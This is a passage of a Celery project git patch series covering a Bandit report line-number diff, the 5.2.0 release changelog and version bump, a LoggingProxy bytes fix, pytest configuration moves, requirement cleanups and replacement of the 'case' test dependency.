enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1111, + "line_number": 1109, "line_range": [ - 1111 + 1109 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1189 \"\"\"Mark new ownership for ``queues`` to update fileno indices.\"\"\"\n1190 assert queues in self._queues\n1191 b = len(self._queues)\n", + "code": "1187 \"\"\"Mark new ownership for ``queues`` to update fileno indices.\"\"\"\n1188 assert queues in self._queues\n1189 b = len(self._queues)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1190, + "line_number": 1188, "line_range": [ - 1190 + 1188 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1192 self._queues[queues] = proc\n1193 assert b == len(self._queues)\n1194 \n", + "code": "1190 self._queues[queues] = proc\n1191 assert b == len(self._queues)\n1192 \n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1193, + "line_number": 1191, "line_range": [ - 1193 + 1191 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1272 pass\n1273 assert len(self._queues) == before\n1274 \n", + "code": "1270 pass\n1271 assert len(self._queues) == before\n1272 \n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1273, + "line_number": 1271, "line_range": [ - 1273 + 1271 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "1279 \"\"\"\n1280 assert not proc._is_alive()\n1281 self._waiting_to_start.discard(proc)\n", + "code": "1277 \"\"\"\n1278 assert not proc._is_alive()\n1279 self._waiting_to_start.discard(proc)\n", "filename": "celery/concurrency/asynpool.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 1280, + "line_number": 1278, "line_range": [ - 1280 + 1278 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "81 with allow_join_result():\n82 assert ping.delay().get(timeout=ping_task_timeout) == 'pong'\n83 \n", + "code": "85 with allow_join_result():\n86 assert ping.delay().get(timeout=ping_task_timeout) == 'pong'\n87 \n", "filename": "celery/contrib/testing/worker.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 82, + "line_number": 86, "line_range": [ - 82 + 86 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "104 if perform_ping_check:\n105 assert 'celery.ping' in app.tasks\n106 # Make sure we can connect to the broker\n", + "code": "109 if perform_ping_check:\n110 assert 'celery.ping' in app.tasks\n111 # Make sure we can connect to the broker\n", "filename": "celery/contrib/testing/worker.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.", - "line_number": 105, + "line_number": 110, "line_range": [ - 105 + 110 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b101_assert_used.html", "test_id": "B101", "test_name": "assert_used" }, { - "code": "169 return self.win.getkey().upper()\n170 except Exception: # pylint: disable=broad-except\n171 pass\n", + "code": "169 return self.win.getkey().upper()\n170 except Exception: # pylint: disable=broad-except\n171 pass\n172 \n", "filename": "celery/events/cursesmon.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Try, Except, Pass detected.", "line_number": 170, "line_range": [ - 170 + 170, + 171 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b110_try_except_pass.html", "test_id": "B110", "test_name": "try_except_pass" }, { - "code": "481 max_groups = os.sysconf('SC_NGROUPS_MAX')\n482 except Exception: # pylint: disable=broad-except\n483 pass\n", + "code": "488 max_groups = os.sysconf('SC_NGROUPS_MAX')\n489 except Exception: # pylint: disable=broad-except\n490 pass\n491 try:\n", "filename": "celery/platforms.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Try, Except, Pass detected.", - "line_number": 482, + "line_number": 489, "line_range": [ - 482 + 489, + 490 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b110_try_except_pass.html", "test_id": "B110", @@ -2386,84 +2330,86 @@ "test_name": "assert_used" }, { - "code": "277 # Tasks are rarely, if ever, created at runtime - exec here is fine.\n278 exec(definition, namespace)\n279 result = namespace[name]\n", + "code": "332 # Tasks are rarely, if ever, created at runtime - exec here is fine.\n333 exec(definition, namespace)\n334 result = namespace[name]\n", "filename": "celery/utils/functional.py", "issue_confidence": "HIGH", "issue_severity": "MEDIUM", "issue_text": "Use of exec detected.", - "line_number": 278, + "line_number": 333, "line_range": [ - 278 + 333 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "test_id": "B102", "test_name": "exec_used" }, { - "code": "15 try:\n16 import cPickle as pickle\n17 except ImportError:\n", + "code": "13 try:\n14 import cPickle as pickle\n15 except ImportError:\n", "filename": "celery/utils/serialization.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Consider possible security implications associated with cPickle module.", - "line_number": 16, + "line_number": 14, "line_range": [ - 16 + 14 ], "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle", "test_id": "B403", "test_name": "blacklist" }, { - "code": "17 except ImportError:\n18 import pickle # noqa\n19 \n", + "code": "15 except ImportError:\n16 import pickle\n17 \n", "filename": "celery/utils/serialization.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Consider possible security implications associated with pickle module.", - "line_number": 18, + "line_number": 16, "line_range": [ - 18 + 16 ], "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle", "test_id": "B403", "test_name": "blacklist" }, { - "code": "64 loads(dumps(superexc))\n65 except Exception: # pylint: disable=broad-except\n66 pass\n", + "code": "62 loads(dumps(superexc))\n63 except Exception: # pylint: disable=broad-except\n64 pass\n65 else:\n", "filename": "celery/utils/serialization.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Try, Except, Pass detected.", - "line_number": 65, + "line_number": 63, "line_range": [ - 65 + 63, + 64 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b110_try_except_pass.html", "test_id": "B110", "test_name": "try_except_pass" }, { - "code": "158 try:\n159 pickle.loads(pickle.dumps(exc))\n160 except Exception: # pylint: disable=broad-except\n", + "code": "156 try:\n157 pickle.loads(pickle.dumps(exc))\n158 except Exception: # pylint: disable=broad-except\n", "filename": "celery/utils/serialization.py", "issue_confidence": "HIGH", "issue_severity": "MEDIUM", "issue_text": "Pickle and modules that wrap it can be unsafe when used to deserialize untrusted data, possible security issue.", - "line_number": 159, + "line_number": 157, "line_range": [ - 159 + 157 ], "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b301-pickle", "test_id": "B301", "test_name": "blacklist" }, { - "code": "159 pickle.loads(pickle.dumps(exc))\n160 except Exception: # pylint: disable=broad-except\n161 pass\n", + "code": "157 pickle.loads(pickle.dumps(exc))\n158 except Exception: # pylint: disable=broad-except\n159 pass\n160 else:\n", "filename": "celery/utils/serialization.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Try, Except, Pass detected.", - "line_number": 160, + "line_number": 158, "line_range": [ - 160 + 158, + 159 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b110_try_except_pass.html", "test_id": "B110", @@ -2498,18 +2444,32 @@ "test_name": "assert_used" }, { - "code": "335 self.connection.collect()\n336 except Exception: # pylint: disable=broad-except\n337 pass\n", + "code": "350 self.connection.collect()\n351 except Exception: # pylint: disable=broad-except\n352 pass\n353 \n", "filename": "celery/worker/consumer/consumer.py", "issue_confidence": "HIGH", "issue_severity": "LOW", "issue_text": "Try, Except, Pass detected.", - "line_number": 336, + "line_number": 351, "line_range": [ - 336 + 351, + 352 ], "more_info": "https://bandit.readthedocs.io/en/latest/plugins/b110_try_except_pass.html", "test_id": "B110", "test_name": "try_except_pass" + }, + { + "code": "7 import platform\n8 import shelve\n9 import sys\n", + "filename": "celery/worker/state.py", + "issue_confidence": "HIGH", + "issue_severity": "LOW", + "issue_text": "Consider possible security implications associated with shelve module.", + "line_number": 8, + "line_range": [ + 8 + ], + "more_info": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle", + "test_id": "B403", + "test_name": "blacklist" } ] -} \ No newline at end of file From e35205c965ac661240f8a6676a529dea2e68ea2f Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 8 Nov 2021 07:10:12 +0600 Subject: [PATCH 386/415] update chnagelog for 5.2.0 --- Changelog.rst | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index d6853d97359..8c94896c0aa 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,19 @@ This document contains change notes for bugfix & new features in the & 5.2.x series, please see :ref:`whatsnew-5.2` for an overview of what's new in Celery 5.2. +.. _version-5.2.0: + +5.2.0 +======= +:release-date: 2021-11-08 7.15 A.M UTC+6:00 +:release-by: Asif Saif Uddin + +- Prevent from subscribing to empty channels (#7040) +- fix register_task method. +- Fire task failure signal on final reject (#6980) +- Limit pymongo version: <3.12.1 (#7041) +- Bump min kombu version to 5.2.1 + .. _version-5.2.0rc2: 5.2.0rc2 From 9c957547a77f581ad7742c2e4f5fb63643ded3e0 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 8 Nov 2021 07:13:53 +0600 Subject: [PATCH 387/415] =?UTF-8?q?Bump=20version:=205.2.0rc2=20=E2=86=92?= =?UTF-8?q?=205.2.0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 2 +- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index e30618d431d..c09541dd81c 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0rc2 +current_version = 5.2.0 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index ca8cafaa771..350fc9dcf62 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0rc2 (dawn-chorus) +:Version: 5.2.0 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ diff --git a/celery/__init__.py b/celery/__init__.py index 0d40be901fe..28a7de4f54b 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0rc2' +__version__ = '5.2.0' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 9ec52bf75db..0b871532542 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0rc2 (cliffs) +:Version: 5.2.0 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 8521e8af0ac618aff761f84b0ffe00202144271e Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 8 Nov 2021 16:40:31 +0000 Subject: [PATCH 388/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/pycqa/isort: 5.9.3 → 5.10.0](https://github.com/pycqa/isort/compare/5.9.3...5.10.0) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 5897b1fd242..5c7feb69d33 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -24,6 +24,6 @@ repos: - id: mixed-line-ending - repo: https://github.com/pycqa/isort - rev: 5.9.3 + rev: 5.10.0 hooks: - id: isort From 3ff054e9fdff6252406c7311ca31f03bc32ebaf4 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 8 Nov 2021 21:49:05 +0100 Subject: [PATCH 389/415] Remove unused failing unittest --- t/distro/test_CI_reqs.py | 35 ----------------------------------- 1 file changed, 35 deletions(-) delete mode 100644 t/distro/test_CI_reqs.py diff --git a/t/distro/test_CI_reqs.py b/t/distro/test_CI_reqs.py deleted file mode 100644 index 861e30b905e..00000000000 --- a/t/distro/test_CI_reqs.py +++ /dev/null @@ -1,35 +0,0 @@ -import os -import pprint - -import pytest - - -def _get_extras_reqs_from(name): - try: - with open(os.path.join('requirements', name)) as fh: - lines = fh.readlines() - except OSError: - pytest.skip('requirements dir missing, not running from dist?') - else: - return { - line.split()[1] for line in lines - if line.startswith('-r extras/') - } - - -def _get_all_extras(): - return { - os.path.join('extras', f) - for f in os.listdir('requirements/extras/') - } - - -def test_all_reqs_enabled_in_tests(): - ci_default = _get_extras_reqs_from('test-ci-default.txt') - ci_base = _get_extras_reqs_from('test-ci-base.txt') - - defined = ci_default | ci_base - all_extras = _get_all_extras() - diff = all_extras - defined - print(f'Missing CI reqs:\n{pprint.pformat(diff)}') - assert not diff From ff0717d7244cedd0e84162944f6bae2615a49d2d Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 9 Nov 2021 11:56:08 +0600 Subject: [PATCH 390/415] ad toml file path (#7060) --- .github/workflows/python-package.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index b4076bf6429..6807091169f 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -10,11 +10,13 @@ on: - '**.py' - '**.txt' - '.github/workflows/python-package.yml' + - '**.toml' pull_request: branches: [ 'master', '5.0' ] paths: - '**.py' - '**.txt' + - '**.toml' - '.github/workflows/python-package.yml' jobs: From 9ff86cd5f0b32e0167c8481020c177bd72308ee5 Mon Sep 17 00:00:00 2001 From: Tim Schilling Date: Mon, 8 Nov 2021 11:15:48 -0600 Subject: [PATCH 391/415] Fix rstrip usage on bytes instance in ProxyLogger. It's possible for data to be a bytes instance, hence the usage of safe_str elsewhere in the function. Before mutating the data, it should be transformed safely into a string. Then we can replace the new line characters. --- celery/utils/log.py | 8 ++++---- t/unit/app/test_log.py | 25 +++++++++++++++++++++++++ 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/celery/utils/log.py b/celery/utils/log.py index 6fca1226768..668094c5ce5 100644 --- a/celery/utils/log.py +++ b/celery/utils/log.py @@ -224,13 +224,13 @@ def write(self, data): if getattr(self._thread, 'recurse_protection', False): # Logger is logging back to this file, so stop recursing. return 0 - data = data.rstrip('\n') if data and not self.closed: self._thread.recurse_protection = True try: - safe_data = safe_str(data) - self.logger.log(self.loglevel, safe_data) - return len(safe_data) + safe_data = safe_str(data).rstrip('\n') + if safe_data: + self.logger.log(self.loglevel, safe_data) + return len(safe_data) finally: self._thread.recurse_protection = False return 0 diff --git a/t/unit/app/test_log.py b/t/unit/app/test_log.py index 37ebe251f66..fea6bf6976a 100644 --- a/t/unit/app/test_log.py +++ b/t/unit/app/test_log.py @@ -286,6 +286,31 @@ def test_logging_proxy(self): p.write('foo') assert stderr.getvalue() + @mock.restore_logging() + def test_logging_proxy_bytes(self): + logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, + root=False) + + with mock.wrap_logger(logger) as sio: + p = LoggingProxy(logger, loglevel=logging.ERROR) + p.close() + p.write(b'foo') + assert 'foo' not in str(sio.getvalue()) + p.closed = False + p.write(b'\n') + assert str(sio.getvalue()) == '' + write_res = p.write(b'foo ') + assert str(sio.getvalue()) == 'foo \n' + assert write_res == 4 + p.flush() + p.close() + assert not p.isatty() + + with mock.stdouts() as (stdout, stderr): + with in_sighandler(): + p.write(b'foo') + assert stderr.getvalue() + @mock.restore_logging() def test_logging_proxy_recurse_protection(self): logger = self.setup_logger(loglevel=logging.ERROR, logfile=None, From 48385bcaf544da75c110de253358ec30fedc7e4f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Lafr=C3=A9choux?= Date: Mon, 8 Nov 2021 17:57:15 +0100 Subject: [PATCH 392/415] Pass logfile to ExecStop in celery.service example systemd file --- docs/userguide/daemonizing.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index cd46c4e1894..c2ea8a57645 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -403,7 +403,8 @@ This is an example systemd file: --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait $CELERYD_NODES \ - --pidfile=${CELERYD_PID_FILE} --loglevel="${CELERYD_LOG_LEVEL}"' + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ + --loglevel="${CELERYD_LOG_LEVEL}"' ExecReload=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi restart $CELERYD_NODES \ --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' From 6d4a6f355e2e47d8fd798d79369f47e72e785603 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 8 Nov 2021 21:52:33 +0100 Subject: [PATCH 393/415] Move pytest configuration from setup.cfg to pyproject.toml Pytest documentation does not recommend to use setup.cfg as pytest confguration - see warning here: https://docs.pytest.org/en/6.2.x/customize.html#setup-cfg --- pyproject.toml | 6 +++++- setup.cfg | 6 ------ 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 8b137891791..75ee096ea43 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1 +1,5 @@ - +[tool.pytest.ini_options] +addopts = "--strict-markers" +testpaths = "t/unit/" +python_classes = "test_*" +xdfail_strict=true diff --git a/setup.cfg b/setup.cfg index daa92865f7f..91641248bc2 100644 --- a/setup.cfg +++ b/setup.cfg @@ -1,9 +1,3 @@ -[tool:pytest] -addopts = --strict-markers -testpaths = t/unit/ -python_classes = test_* -xfail_strict=true - [build_sphinx] source-dir = docs/ build-dir = docs/_build From 227bc0babc6389d8279254d6081448ee783feb72 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 9 Nov 2021 13:24:48 +0600 Subject: [PATCH 394/415] update readme --- README.rst | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.rst b/README.rst index 350fc9dcf62..0075875b468 100644 --- a/README.rst +++ b/README.rst @@ -57,13 +57,13 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.2.0rc2 runs on, +Celery version 5.2.0 runs on, - Python (3.7, 3.8, 3.9, 3.10) -- PyPy3.7 (7.3+) +- PyPy3.7 (7.3.7+) -This is the next version of celery which will support Python 3.6 or newer. +This is the version of celery which will support Python 3.7 or newer. If you're running an older version of Python, you need to be running an older version of Celery: @@ -90,7 +90,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.2.0rc2 coming from previous versions then you should read our +new to Celery v5.2.0 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ @@ -258,9 +258,9 @@ separating them by commas. :: - $ pip install "celery[librabbitmq]" + $ pip install "celery[amqp]" - $ pip install "celery[librabbitmq,redis,auth,msgpack]" + $ pip install "celery[amqp,redis,auth,msgpack]" The following bundles are available: @@ -288,8 +288,8 @@ Concurrency Transports and Backends ~~~~~~~~~~~~~~~~~~~~~~~ -:``celery[librabbitmq]``: - for using the librabbitmq C library. +:``celery[amqp]``: + for using the RabbitMQ amqp python library. :``celery[redis]``: for using Redis as a message transport or as a result backend. From 4918bfb557366931a6a1a4ff5773eb1dd197dc9c Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Wed, 10 Nov 2021 11:10:21 +0600 Subject: [PATCH 395/415] not needed as python 2 is not supported. --- requirements/pkgutils.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements/pkgutils.txt b/requirements/pkgutils.txt index e5653449606..ea4078d78b4 100644 --- a/requirements/pkgutils.txt +++ b/requirements/pkgutils.txt @@ -4,7 +4,6 @@ flake8>=3.8.3 flakeplus>=1.1 flake8-docstrings~=1.5 pydocstyle~=5.0; python_version >= '3.0' -pydocstyle~=3.0; python_version < '3.0' tox>=3.8.4 sphinx2rst>=1.0 # Disable cyanide until it's fully updated. From 777748038557e4d72a5d2e4e787aa6faab04ae1f Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Wed, 10 Nov 2021 11:14:05 +0600 Subject: [PATCH 396/415] drop as we don't use travis anymore --- requirements/test-ci-base.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements/test-ci-base.txt b/requirements/test-ci-base.txt index 1fca3a107cb..3563008e5ca 100644 --- a/requirements/test-ci-base.txt +++ b/requirements/test-ci-base.txt @@ -1,5 +1,4 @@ pytest-cov -pytest-travis-fold codecov -r extras/redis.txt -r extras/sqlalchemy.txt From bb11b1e289de984376650f89253ad43b7b010fec Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Wed, 10 Nov 2021 11:12:18 +0600 Subject: [PATCH 397/415] simplejson is not used anymore --- requirements/test-integration.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements/test-integration.txt b/requirements/test-integration.txt index 1fcda0bd85c..ab2958d21ff 100644 --- a/requirements/test-integration.txt +++ b/requirements/test-integration.txt @@ -1,4 +1,3 @@ -simplejson -r extras/redis.txt -r extras/azureblockblob.txt -r extras/auth.txt From 011dc063719c7bce9c105a8e86095a0ccbf7cb1e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Franti=C5=A1ek=20Zatloukal?= Date: Wed, 10 Nov 2021 14:49:15 +0100 Subject: [PATCH 398/415] Change pytz>dev to a PEP 440 compliant pytz>0.dev.0 --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index c9110a53ef6..b35e5b393e9 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,4 +1,4 @@ -pytz>dev +pytz>0.dev.0 billiard>=3.6.4.0,<4.0 kombu>=5.2.1,<6.0 vine>=5.0.0,<6.0 From 26d7a4fa61f6ee36ad23cc3780e09a07eb350e8c Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Thu, 11 Nov 2021 16:40:05 +0100 Subject: [PATCH 399/415] Remove dependency to case (#7077) * Remove dependency to case * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Minor fixes * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- celery/contrib/testing/mocks.py | 32 +- pyproject.toml | 1 + requirements/test.txt | 1 - t/unit/app/test_app.py | 31 +- t/unit/app/test_builtins.py | 2 +- t/unit/app/test_loaders.py | 5 +- t/unit/app/test_log.py | 56 ++-- t/unit/app/test_schedules.py | 4 +- t/unit/backends/test_cache.py | 76 ++--- t/unit/backends/test_cassandra.py | 17 +- t/unit/backends/test_mongodb.py | 4 +- t/unit/backends/test_redis.py | 9 +- t/unit/concurrency/test_prefork.py | 85 +++-- t/unit/conftest.py | 477 +++++++++++++++++++++++++++- t/unit/contrib/test_migrate.py | 4 +- t/unit/events/test_snapshot.py | 4 +- t/unit/fixups/test_django.py | 42 ++- t/unit/security/test_certificate.py | 4 +- t/unit/security/test_security.py | 4 +- t/unit/tasks/test_tasks.py | 2 +- t/unit/utils/test_platforms.py | 26 +- t/unit/utils/test_serialization.py | 11 +- t/unit/utils/test_threads.py | 4 +- t/unit/worker/test_autoscale.py | 10 +- t/unit/worker/test_consumer.py | 2 +- t/unit/worker/test_worker.py | 9 +- 26 files changed, 702 insertions(+), 220 deletions(-) diff --git a/celery/contrib/testing/mocks.py b/celery/contrib/testing/mocks.py index 82775011afc..a7c00d4d033 100644 --- a/celery/contrib/testing/mocks.py +++ b/celery/contrib/testing/mocks.py @@ -2,15 +2,11 @@ import numbers from datetime import datetime, timedelta from typing import Any, Mapping, Sequence +from unittest.mock import Mock from celery import Celery from celery.canvas import Signature -try: - from case import Mock -except ImportError: - from unittest.mock import Mock - def TaskMessage( name, # type: str @@ -113,3 +109,29 @@ def task_message_from_sig(app, sig, utc=True, TaskMessage=TaskMessage): utc=utc, **sig.options ) + + +class _ContextMock(Mock): + """Dummy class implementing __enter__ and __exit__. + + The :keyword:`with` statement requires these to be implemented + in the class, not just the instance. + """ + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + pass + + +def ContextMock(*args, **kwargs): + """Mock that mocks :keyword:`with` statement contexts.""" + obj = _ContextMock(*args, **kwargs) + obj.attach_mock(_ContextMock(), '__enter__') + obj.attach_mock(_ContextMock(), '__exit__') + obj.__enter__.return_value = obj + # if __exit__ return a value the exception is ignored, + # so it must return None here. + obj.__exit__.return_value = None + return obj diff --git a/pyproject.toml b/pyproject.toml index 75ee096ea43..8ff14c4766b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,3 +3,4 @@ addopts = "--strict-markers" testpaths = "t/unit/" python_classes = "test_*" xdfail_strict=true +markers = ["sleepdeprived_patched_module", "masked_modules", "patched_environ", "patched_module"] diff --git a/requirements/test.txt b/requirements/test.txt index 0dd666f70bf..90c84b1996e 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -1,4 +1,3 @@ -case>=1.3.1 pytest~=6.2 pytest-celery pytest-subtests diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 215e200dd45..ed61b0f8356 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -9,7 +9,6 @@ from unittest.mock import Mock, patch import pytest -from case import ContextMock, mock from vine import promise from celery import Celery, _state @@ -18,6 +17,7 @@ from celery.app import base as _appbase from celery.app import defaults from celery.backends.base import Backend +from celery.contrib.testing.mocks import ContextMock from celery.exceptions import ImproperlyConfigured from celery.loaders.base import unconfigured from celery.platforms import pyimplementation @@ -25,6 +25,7 @@ from celery.utils.objects import Bunch from celery.utils.serialization import pickle from celery.utils.time import localize, timezone, to_utc +from t.unit import conftest THIS_IS_A_KEY = 'this is a value' @@ -915,10 +916,10 @@ def add(x, y): assert 'add1' in self.app.conf.beat_schedule assert 'add2' in self.app.conf.beat_schedule - def test_pool_no_multiprocessing(self): - with mock.mask_modules('multiprocessing.util'): - pool = self.app.pool - assert pool is self.app._pool + @pytest.mark.masked_modules('multiprocessing.util') + def test_pool_no_multiprocessing(self, mask_modules): + pool = self.app.pool + assert pool is self.app._pool def test_bugreport(self): assert self.app.bugreport() @@ -1078,26 +1079,26 @@ def test_enable_disable_trace(self): class test_pyimplementation: def test_platform_python_implementation(self): - with mock.platform_pyimp(lambda: 'Xython'): + with conftest.platform_pyimp(lambda: 'Xython'): assert pyimplementation() == 'Xython' def test_platform_jython(self): - with mock.platform_pyimp(): - with mock.sys_platform('java 1.6.51'): + with conftest.platform_pyimp(): + with conftest.sys_platform('java 1.6.51'): assert 'Jython' in pyimplementation() def test_platform_pypy(self): - with mock.platform_pyimp(): - with mock.sys_platform('darwin'): - with mock.pypy_version((1, 4, 3)): + with conftest.platform_pyimp(): + with conftest.sys_platform('darwin'): + with conftest.pypy_version((1, 4, 3)): assert 'PyPy' in pyimplementation() - with mock.pypy_version((1, 4, 3, 'a4')): + with conftest.pypy_version((1, 4, 3, 'a4')): assert 'PyPy' in pyimplementation() def test_platform_fallback(self): - with mock.platform_pyimp(): - with mock.sys_platform('darwin'): - with mock.pypy_version(): + with conftest.platform_pyimp(): + with conftest.sys_platform('darwin'): + with conftest.pypy_version(): assert 'CPython' == pyimplementation() diff --git a/t/unit/app/test_builtins.py b/t/unit/app/test_builtins.py index 080999f7bc5..dcbec4b201b 100644 --- a/t/unit/app/test_builtins.py +++ b/t/unit/app/test_builtins.py @@ -1,10 +1,10 @@ from unittest.mock import Mock, patch import pytest -from case import ContextMock from celery import chord, group from celery.app import builtins +from celery.contrib.testing.mocks import ContextMock from celery.utils.functional import pass1 diff --git a/t/unit/app/test_loaders.py b/t/unit/app/test_loaders.py index 9a411e963a4..09c8a6fe775 100644 --- a/t/unit/app/test_loaders.py +++ b/t/unit/app/test_loaders.py @@ -4,7 +4,6 @@ from unittest.mock import Mock, patch import pytest -from case import mock from celery import loaders from celery.exceptions import NotConfigured @@ -120,8 